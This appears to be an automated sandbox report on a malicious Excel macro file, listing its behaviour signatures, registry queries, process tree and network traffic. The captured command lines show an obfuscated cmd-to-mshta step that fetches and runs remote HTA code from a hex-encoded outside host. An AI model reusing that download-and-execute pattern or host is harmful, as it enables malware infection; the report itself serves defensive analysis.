Analysis Overview
SHA256
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29
Threat Level: Known bad
The file 6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 17:38
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 17:38
Reported
2024-11-11 17:40
Platform
win7-20241010-en
Max time kernel
70s
Max time network
42s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2604 wrote to memory of 2068 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2604 wrote to memory of 2068 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2604 wrote to memory of 2068 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2604 wrote to memory of 2068 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2068 wrote to memory of 2812 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2068 wrote to memory of 2812 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2068 wrote to memory of 2812 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2068 wrote to memory of 2812 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe3.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/2604-1-0x0000000072C7D000-0x0000000072C88000-memory.dmp
memory/2604-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2604-2-0x0000000072C7D000-0x0000000072C88000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 17:38
Reported
2024-11-11 17:40
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
139s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4300 wrote to memory of 3596 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4300 wrote to memory of 3596 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3596 wrote to memory of 5056 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 3596 wrote to memory of 5056 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe3.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 70.208.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 14.242.123.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 123.10.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.163.202.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
Files
memory/4300-1-0x00007FFE50410000-0x00007FFE50420000-memory.dmp
memory/4300-4-0x00007FFE50410000-0x00007FFE50420000-memory.dmp
memory/4300-2-0x00007FFE50410000-0x00007FFE50420000-memory.dmp
memory/4300-0-0x00007FFE50410000-0x00007FFE50420000-memory.dmp
memory/4300-3-0x00007FFE9042D000-0x00007FFE9042E000-memory.dmp
memory/4300-6-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-5-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-9-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-13-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-14-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-15-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp
memory/4300-12-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-16-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp
memory/4300-11-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-10-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-19-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-18-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-17-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-8-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
memory/4300-7-0x00007FFE50410000-0x00007FFE50420000-memory.dmp
memory/4300-30-0x00007FFE90390000-0x00007FFE90585000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 6bbc3f4950f18c7d55cd50c995a956ee |
| SHA1 | 47074bfe7ec8e9e1b6c187373b8bcd8d24ba45a2 |
| SHA256 | 8e767861f5d66a1c9d8c497003b2026048d56cbc1c4a417f800a8f88ad092d00 |
| SHA512 | 8642b7827ab676b597a5c38d3be650276bfa61abb1a4b17c96b72ddb55410eb0b9ded04bb62648652d5ac45779863abdf58b748bdb1ac9daf995644f372128e0 |